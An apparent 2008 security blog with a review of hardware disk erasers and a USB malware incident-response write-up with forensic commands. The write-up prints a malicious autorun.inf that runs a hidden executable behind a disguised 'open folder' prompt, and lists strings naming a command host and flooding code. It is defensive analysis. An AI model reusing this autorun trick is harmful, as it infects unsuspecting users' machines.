Tuesday, September 16, 2008

Drive Erazer



Historically I've always done disk wiping through DBAN. It's free, and easy to use. I have had a system capable of attaching plenty of drives and drive types for just this purpose.

Recently though, our tech shop purchased a bunch of Wiebetech Drive Erazers because the thought was it's easier and sometimes faster to just plug a drive in and flip a switch. Well, these devices fit that niche perfectly. They ended up tossing one at me and asked me to verify their functionality.

They ordered the "Pro" model which can do ATA-6 secure wiping as well as writing a simple zero pattern to the disk. So I first wanted to test the basic wiping functionality.

I hooked up a 13GB IDE drive and flipped the switch.

About 10 minutes and an 'xxd' check later and I had a disk full of zeroes that was verified. Not bad.

Next up an 80GB IDE drive. No problems here either. Approximately 40 minutes later I had a zeroed disk.

As I write this I'm about 50 minutes in to a 'secure wipe' of a 250GB SATA disk. This device also detects and removes HPA and DCO on the device, which I really like. I expect it to take a reasonable amount of time, around two hours or so. Weibetech states approximately 35MB/s wipe speed which is respectable for the pricetag and functionality. So far this little device is as good as advertised.

Procedurally I like devices like this, because a tech can easily attach a drive, flip the switch and go do something else while the device is working. As much as I like DBAN for my own use, I think these little drive erazers are very handy to have around, and they're extremely portable (fit in my palm) which only adds to the usability.

Some dislikes:
Counting blinks to determine error or time to completion. It's a little like morse code but for the price tag it's not a showstopper.

The jumper location in the device is all but unreachable unless you have fingers the size of paper clips. A precision set of needle nose pliers takes care of this though.

The IDE ribbon should be a little bit longer. At current length, you need to bend it too far to keep the hard drive flat.

Conclusion:
I like the drive erazer. For the $149 price tag on the Pro model I'd recommend it to people who don't want a computer dedicated to wiping disks, but a few more tests need to be completed before I "approve" it. I have a few small quibbles about design but none are major.

If you have thoughts about these devices or can recommend similar and similarly priced devices I'm all ears.


Addendum The 250GB disk finished wiping in one hour and twenty-two minutes.

Tales from the field

Marc Weber Tobias used the phrase "The key does not unlock the lock, it actuates the mechanism which unlocks the lock" in his medeco presentation at techno security. I'm going to stretch this out to subversion of any system which is what I think he was actually saying. In other words, don't think in a linear fashion when attempting to solve a problem, or "think outside the box".

Basically what you think will compromise a system isn't what actually compromises the system. When attackers attempt to break in to systems, they have a number of options. They can use brute force, the browser, email, exploit etc. Many of these methods are direct, but attackers understand that the front door is not the only way in to a system. There are more ways in than one. Once in a great while you come across a particularly interesting method of subversion or attack.

Yesterday was one of those days.

Something landed on my desk that I'd not actually seen in the wild. I'll start at the beginning so this all makes some sense.

At about 10:40am or so I was alerted to an anomaly. Time for a phone call..

ME: "Hi there, there's a possible compromise in your area of operation. Could you check out IP address x.x.x.x? It's connecting to the following IP address y.y.y.y"

SA: "Sure I'll track it down and we'll take a look at it."

I go off and worry about other bits and bytes and check back in a little bit. No change but then the phone rings.

SA: "We've got the system offline, and we're going to rebuild it. The user just returned from Botswana and it was a flash drive causing the infection. They were logging in as administrator. Looks like they won't be doing that any more."

ME: "Great! Go ahead and rebuild the system and I'll close out the case."

About an hour passes and I'm off again looking at more bits and bytes and another alert fires. Hmmm...same destination host, same destination port, different source IP. I call up the same SA...

ME: "Hi, looks like you've got more problems. A new IP is connecting to y.y.y.y"

SA: "Really? What's the IP?"

ME: "z.z.z.z"

SA: "Oh crap. I told him not to plug that system in. The tech took the system back to his bench to rebuild the system, he must have plugged it in."

ME: "Ah, ok. Give me a call once you've confirmed that's the case."

SA: "Will do."

The SA calls back and confirms the situation. The system then disappears.

About 45 minutes later another alert fires. Same SA, different IP address. By this point I'm getting frustrated...Phone call time.

ME: "Looks like yet another IP, showing the same signs of compromise."

SA: "What's the IP?"

ME: "q.q.q.q"

SA: "Ugh that's the tech's system. Hang on."

SA talking in the background...

SA: "He plugged the flash drive in to his virtual machine, so that's what you were seeing."

Now I'm curious.

ME: "Hey can you send me that USB key?"

SA: "Sure I can even drop it off on my way home."

ME: "Great."

To summarize, A user turned on his computer, plugged in a flash drive and his computer connected out a remote host suspiciously. System was contained and taken back to a tech shop for rebuilding. Tech plugged the system in, and connected it to the network. Another alert. Tech took the flash drive and plugged it in to his system where he had a virtual machine set up. Once the flash drive was connected, his system started connecting to the remote host.

Here's a look at the traffic:




The flash drive showed up as promised by the end of business. Always eager to explore I plugged the device in to my booted helix instance. After copying it with dcfldd, I did what any reasonable person would do...I mounted it!

root(sda1)]# mmls usb.dd

OS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

Slot Start End Length Description
00: ----- 0000000000 0000000000 0000000001 Primary Table (#0)
01: ----- 0000000001 0000000031 0000000031 Unallocated
02: 00:00 0000000032 0000499711 0000499680 DOS FAT16 (0x06)
03: ----- 0000499712 0000503807 0000004096 Unallocated

root(sda1)]#mkdir /tmp/case
root(sda1)]#mount -t vfat -o offset=16384,ro,noexec,noatime,nosuid,nodev usb.dd /tmp/case


After running fls and mactime against the image I find the following which just looks odd:

Mon Aug 25 2008 00:00:00 4096 .a. d/d--x--x--x 0 0 508 /RECYCLER
4096 .a. d/d--x--x--x 0 0 39049 /RECYCLER/S-1-5-21-1482476501-1644491937-682003330-1013
Mon Aug 25 2008 11:44:52 4096 ..c d/d--x--x--x 0 0 508 /RECYCLER
62 ..c -/-r-xr-xr-x 0 0 39174 /RECYCLER/S-1-5-21-1482476501-1644491937-682003330-1013/Desktop.ini
4096 ..c d/d--x--x--x 0 0 39049 /RECYCLER/S-1-5-21-1482476501-1644491937-682003330-1013
Mon Aug 25 2008 11:44:54 4096 m.. d/d--x--x--x 0 0 39049 /RECYCLER/S-1-5-21-1482476501-1644491937-682003330-1013
4096 m.. d/d--x--x--x 0 0 508 /RECYCLER
278 ..c -/---x--x--x 0 0 509 /autorun.inf
79360 ..c -/---x--x--x 0 0 39175 /RECYCLER/S-1-5-21-1482476501-1644491937-682003330-1013/autorun.exe


Wait a sec...populating a directory called RECYCLER, with an inf and an executable file? Time to check out those files!

root(case)]#cat Autorun.inf:
[autorun]
open=RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013\autorun.exe
icon=%SystemRoot%\system32\SHELL32.dll,4
action=Open folder to view files
shell\open=Open
shell\open\command=RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013\autorun.exe
shell\open\default=1l

Ok, so we've got the usb key using the autorun function. What's this you say!? USB can't autorun, unless it's a U3 drive. Correct you are..sort of. Look again at the autorun.inf contents.

the open line is obvious. It will execute the file listed.
icon=%SystemRoot%\system32\SHELL32.DLL,4 Now that's interesting. Just what is the fourth icon in SHELL32.DLL? It's a closed folder. Most people wouldn't even notice when they plug in and windows asks what you want to do with the device, that the top icon listed in the window is a closed folder.

If you don't know what I'm talking about here's a visual:



Now imagine the highlighted icon is a folder that has a caption of "open folder to view files".


What about autorun.exe? First things first, I run strings to check it out.
root(case)]#strings autorun.exe
iams.wearabz.net
svchost.exe
explorer.exe

f424
asd..65637fj
"" "
Mozilla
Success.
Failed.
Tester
Start flooding.
Flooding done.
fstop
SeDebugPrivilege
sendto
WSASocketA
htonl
setsockopt
CloseHandle
GetCurrentProcess
lstrlenA
ExitProcess
lstrcmpiA
GetProcAddress
LoadLibraryA
KERNEL32.dll
AdjustTokenPrivileges
LookupPrivilegeValueA
OpenProcessToken
ADVAPI32.dll

Ok, there's some interesting strings listed. Functions aside there's hints at a possible hostname to look at, flooding capability, svchost.exe and explorer.exe are both mentioned.

I quickly submit the binary to cwsandbox
Results are here
and virustotal and if you feel so inclined, I've uploaded it to offensivecomputing (md5: 3240c08878c7491b85b79c97db5c9204). The best description of this malware that I've seen is here


Some lessons learned here:
1) Harlan is right. "Many times, an organization's initial response exposes them to greater risk than the incident itself, simply by making it impossible to answer the necessary questions." In this case we knew the system had nothing of value on it, other than personal files. The tech in this case, after containment, turned the system back on in the shop, plugged it in to the network, and then he took the usb key and plugged it in to another system that wasn't properly configured. Any malware investigation virtual machine should be set to "host only".

2) What you fear the greatest is the least likely to kill you. We concern ourselves with the big targets most times, but it's rarely those systems that get compromised, at least directly. Going after soft targets is the best way to get at the hard targets.

3) You can place as many detection systems, deploy as many security products as you want, do all the staff training you can, but all it takes is a person not paying attention to compromise the system/network.